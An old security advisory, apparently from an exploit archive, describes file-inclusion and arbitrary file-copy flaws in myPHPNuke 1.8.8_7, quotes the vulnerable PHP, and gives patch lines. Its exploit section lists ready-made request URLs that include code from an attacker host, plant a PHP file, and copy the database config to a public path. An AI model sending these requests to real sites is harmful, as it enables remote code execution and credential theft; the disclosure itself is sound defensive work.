what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

myPHPNuke.txt

myPHPNuke.txt
Posted Sep 13, 2003
Authored by Frog Man | Site phpsecure.info

myPHPNuke version 1.8.8_7 performs improper variable sanitizing that will inadvertently allow a remote attacker to upload files from another site to the current site.

tags | exploit, remote
SHA-256 | 3a1d3adb28ded0cb43ab4856777f220e3e957aa1f45290d28d02a1d2cd088a90

myPHPNuke.txt

Change Mirror Download
Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 1.8.8_7
Website : http://www.myphpnuke.com
Problems : - Upload/Copy/Include Files


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°

gallery/displayCategory.php :

------------------------------------------
[...]
<?php

include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------


mailattach.php :

-----------------------------------------------------
[...]
<?
OpenTable();
global $attachmentdir;

$attchfile = $attachmentdir.$attach1_name;

if(isset($submit) ) {
if ($attach1_name != "") {
copy("$attach1", $attchfile)
or die("Couldn't copy the file!");
echo "<script> attach();</script>";
} else {
die("No input file specified");
}
echo "<script> attach(); </script>";
} else {

?>
[...]
-----------------------------------------------------


Exploits :
°°°°°°°°
- http://[target]/gallery/displayCategory.php?basepath=http://[attacker]
will include the file :
http://[attacker]/imageFunctions.php

- http://[target]/gallery/displayCategory.php?adminpath=http://[attacker]
will include the file :
http://[attacker]/fileFunctions.php

-
http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt
will copy the file admin/original/config.php (with DB Informations) into
http://[target]/DBInfos.txt .

-
http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php
will copy the file bad.txt into http://[target]/bad.php

- etc...


Solution :
°°°°°°°°°
A patch can be found on http://www.phpsecure.info.
In gallery/displayCategory.php, add before all lines the lines :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------

And in mailattach.php, add just after the lines :
-------------------------
[...]
<?
OpenTable();
global $attachmentdir;
[...]
-------------------------

the lines :

-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"])
OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name)
){
die("Patched.");
}
-----------------------------------------------------------------------------------------------------------------------------------------------------------


More Details :
°°°°°°°°°°°°
In french :
http://www.phpsecure.info/v2/tutos/myPHPNuke.txt




frog-m@n (http://www.phpsecure.info)

_________________________________________________________________


Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close